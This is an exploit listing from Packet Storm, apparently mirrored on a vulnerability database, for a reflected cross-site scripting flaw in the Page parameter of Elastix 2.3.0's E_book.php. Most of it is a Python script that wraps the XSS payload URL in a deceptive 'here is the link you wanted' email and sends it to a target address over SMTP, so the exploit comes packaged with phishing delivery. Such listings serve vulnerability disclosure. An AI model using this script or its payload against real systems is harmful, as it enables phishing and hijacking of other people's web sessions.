Elastix 2.3.0 Cross Site Scripting

🗓️ 29 Nov 2012 00:00:00Reported by chekiType

packetstorm🔗 packetstormsecurity.com👁 16 Views

Elastix 2.3.0 Cross Site Scripting on E_book.ph

`#! /usr/bin/python  
# Author cheki  
# Date 28/11/2012  
# Test on Linux(mint)  
# Vendor Elastix.org  
# Exploit: https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E  
# Vulnerability $Page Parameter {E_book.php file}  
# $Page = $_GET['Page']; // Page index  
# $idx_phone = $_GET['phone']; // phone's address book index  
# if ( $Page == 0 )  
# {  
# $Page = 1;  
# }  
  
import smtplib  
  
from email.mime.multipart import MIMEMultipart  
from email.mime.text import MIMEText  
me = "your mail"  
target_mail = "target mail"  
msg = MIMEMultipart('alternative')  
msg['Subject'] = "Link"  
msg['From'] = me  
msg['To'] = target_mail  
text = "Hi!\nHow are you?\nHere is the link you wanted"  
html = """\  
<html>  
<head></head>  
<body>  
<p>Hi!<br>  
How are you?<br>  
Here is the <a href="https://192.168.2.199/xmlservices/E_book.php?Page=2%3Cscript%3Ealert%28%221%22%29;%3C/script%3E">link</a> you wanted.  
</p>  
</body>  
</html>  
"""  
part1 = MIMEText(text, 'plain')  
part2 = MIMEText(html, 'html')  
msg.attach(part1)  
msg.attach(part2)  
s = smtplib.SMTP('localhost')  
s.sendmail(me, target_mail, msg.as_string())  
s.quit()  
`

29 Nov 2012 00:00Current

7.4High risk

Vulners AI Score7.4